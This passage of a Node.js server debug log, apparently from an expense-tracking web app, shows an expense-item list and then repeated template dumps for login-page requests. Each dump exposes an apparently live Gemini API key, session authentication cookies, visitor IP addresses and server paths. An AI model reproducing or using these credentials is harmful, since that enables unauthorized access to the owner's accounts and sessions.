  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-13T13:18:32.680Z server-connect:router Serving templateView /login
2025-12-13T13:18:32.680Z server-connect:app Executing action step identify
2025-12-13T13:18:32.681Z server-connect:app options: { provider: 'security' }
2025-12-13T13:18:32.681Z server-connect:output identity: 1
2025-12-13T13:18:32.681Z server-connect:router Render template layouts/authentication
2025-12-13T13:18:32.681Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"196d-LKwcMPQ3dgGRjZwXahAD+qnHq6M"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AX4syas%2BW52SRL8GUQFDWvg%3D%3D.uobaIc%2BHVwvdoFGF5ZjFZyh4%2BWaCXt1tiHEd3PLnVgO45SVcLX1rkMCjtUx0z6ZJPOTgeXamJe6AmU8P6mi80AvSaO04ihotdfVtZgFp%2BWa3mVhtE27rw%2BmwxFJI3s%2FkcE%2Bxr9N7lghqjkIhNjmOIu%2BRvbGVsMkQCk%2FiiUFuAhw%3D.3QkGv7zB1NSKO6YZ16c72PKLL7SNVXJSvMEdT4KTk2k; your_r_git.sid=s%3AFFBXwIU1aV7RMz8CUgfDhDo30InLO_mU.0W0kxOW8ZJNXb%2FZcyCg650LItvc8byKSUXj4YYJG0Ms',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-14T06:28:58.121Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"196d-LKwcMPQ3dgGRjZwXahAD+qnHq6M"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AX4syas%2BW52SRL8GUQFDWvg%3D%3D.uobaIc%2BHVwvdoFGF5ZjFZyh4%2BWaCXt1tiHEd3PLnVgO45SVcLX1rkMCjtUx0z6ZJPOTgeXamJe6AmU8P6mi80AvSaO04ihotdfVtZgFp%2BWa3mVhtE27rw%2BmwxFJI3s%2FkcE%2Bxr9N7lghqjkIhNjmOIu%2BRvbGVsMkQCk%2FiiUFuAhw%3D.3QkGv7zB1NSKO6YZ16c72PKLL7SNVXJSvMEdT4KTk2k; your_r_git.sid=s%3AFFBXwIU1aV7RMz8CUgfDhDo30InLO_mU.0W0kxOW8ZJNXb%2FZcyCg650LItvc8byKSUXj4YYJG0Ms',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/login'
}
2025-12-13T13:18:33.125Z server-connect:router Serving templateView /login
2025-12-13T13:18:33.126Z server-connect:app Executing action step identify
2025-12-13T13:18:33.126Z server-connect:app options: { provider: 'security' }
2025-12-13T13:18:33.126Z server-connect:output identity: 1
2025-12-13T13:18:33.126Z server-connect:router Render template layouts/authentication
2025-12-13T13:18:33.126Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/login',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"196d-LKwcMPQ3dgGRjZwXahAD+qnHq6M"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AX4syas%2BW52SRL8GUQFDWvg%3D%3D.uobaIc%2BHVwvdoFGF5ZjFZyh4%2BWaCXt1tiHEd3PLnVgO45SVcLX1rkMCjtUx0z6ZJPOTgeXamJe6AmU8P6mi80AvSaO04ihotdfVtZgFp%2BWa3mVhtE27rw%2BmwxFJI3s%2FkcE%2Bxr9N7lghqjkIhNjmOIu%2BRvbGVsMkQCk%2FiiUFuAhw%3D.3QkGv7zB1NSKO6YZ16c72PKLL7SNVXJSvMEdT4KTk2k; your_r_git.sid=s%3AFFBXwIU1aV7RMz8CUgfDhDo30InLO_mU.0W0kxOW8ZJNXb%2FZcyCg650LItvc8byKSUXj4YYJG0Ms',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-14T06:28:58.121Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/login',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"196d-LKwcMPQ3dgGRjZwXahAD+qnHq6M"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AX4syas%2BW52SRL8GUQFDWvg%3D%3D.uobaIc%2BHVwvdoFGF5ZjFZyh4%2BWaCXt1tiHEd3PLnVgO45SVcLX1rkMCjtUx0z6ZJPOTgeXamJe6AmU8P6mi80AvSaO04ihotdfVtZgFp%2BWa3mVhtE27rw%2BmwxFJI3s%2FkcE%2Bxr9N7lghqjkIhNjmOIu%2BRvbGVsMkQCk%2FiiUFuAhw%3D.3QkGv7zB1NSKO6YZ16c72PKLL7SNVXJSvMEdT4KTk2k; your_r_git.sid=s%3AFFBXwIU1aV7RMz8CUgfDhDo30InLO_mU.0W0kxOW8ZJNXb%2FZcyCg650LItvc8byKSUXj4YYJG0Ms',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/login'
}
2025-12-13T13:18:37.407Z server-connect:router Serving templateView /login
2025-12-13T13:18:37.407Z server-connect:app Executing action step identify
2025-12-13T13:18:37.407Z server-connect:app options: { provider: 'security' }
2025-12-13T13:18:37.408Z server-connect:auth No login cookie found
2025-12-13T13:18:37.408Z server-connect:output identity: false
2025-12-13T13:18:37.408Z server-connect:router Render template layouts/authentication
2025-12-13T13:18:37.408Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'accept-language': 'zh-CN,zh;q=0.9',
    'upgrade-insecure-requests': '1',
    'sec-ch-ua': '"Chromium";v="140", "Not:A-Brand";v="24", "Google Chrome";v="140"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://www.google.com/',
    'accept-encoding': 'gzip,br',
    priority: 'u=0, i',
    'x-forwarded-for': '49.44.80.9',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-14T13:18:37.407Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.44.80.9',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    HTTP_ACCEPT_LANGUAGE: 'zh-CN,zh;q=0.9',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    'HTTP_SEC_CH-UA': '"Chromium";v="140", "Not:A-Brand";v="24", "Google Chrome";v="140"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://www.google.com/',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_X_FORWARDED-FOR': '49.44.80.9',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-13T13:18:39.417Z server-connect:router Serving templateView /login
2025-12-13T13:18:39.418Z server-connect:app Executing action step identify
2025-12-13T13:18:39.418Z server-connect:app options: { provider: 'security' }
2025-12-13T13:18:39.418Z server-connect:output identity: 1
2025-12-13T13:18:39.418Z server-connect:router Render template layouts/authentication
2025-12-13T13:18:39.418Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"macOS"',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    accept: '*/*',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/login',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"196d-LKwcMPQ3dgGRjZwXahAD+qnHq6M"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AX4syas%2BW52SRL8GUQFDWvg%3D%3D.uobaIc%2BHVwvdoFGF5ZjFZyh4%2BWaCXt1tiHEd3PLnVgO45SVcLX1rkMCjtUx0z6ZJPOTgeXamJe6AmU8P6mi80AvSaO04ihotdfVtZgFp%2BWa3mVhtE27rw%2BmwxFJI3s%2FkcE%2Bxr9N7lghqjkIhNjmOIu%2BRvbGVsMkQCk%2FiiUFuAhw%3D.3QkGv7zB1NSKO6YZ16c72PKLL7SNVXJSvMEdT4KTk2k; your_r_git.sid=s%3AFFBXwIU1aV7RMz8CUgfDhDo30InLO_mU.0W0kxOW8ZJNXb%2FZcyCg650LItvc8byKSUXj4YYJG0Ms',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-14T06:28:58.121Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: '*/*',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/login',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"196d-LKwcMPQ3dgGRjZwXahAD+qnHq6M"',
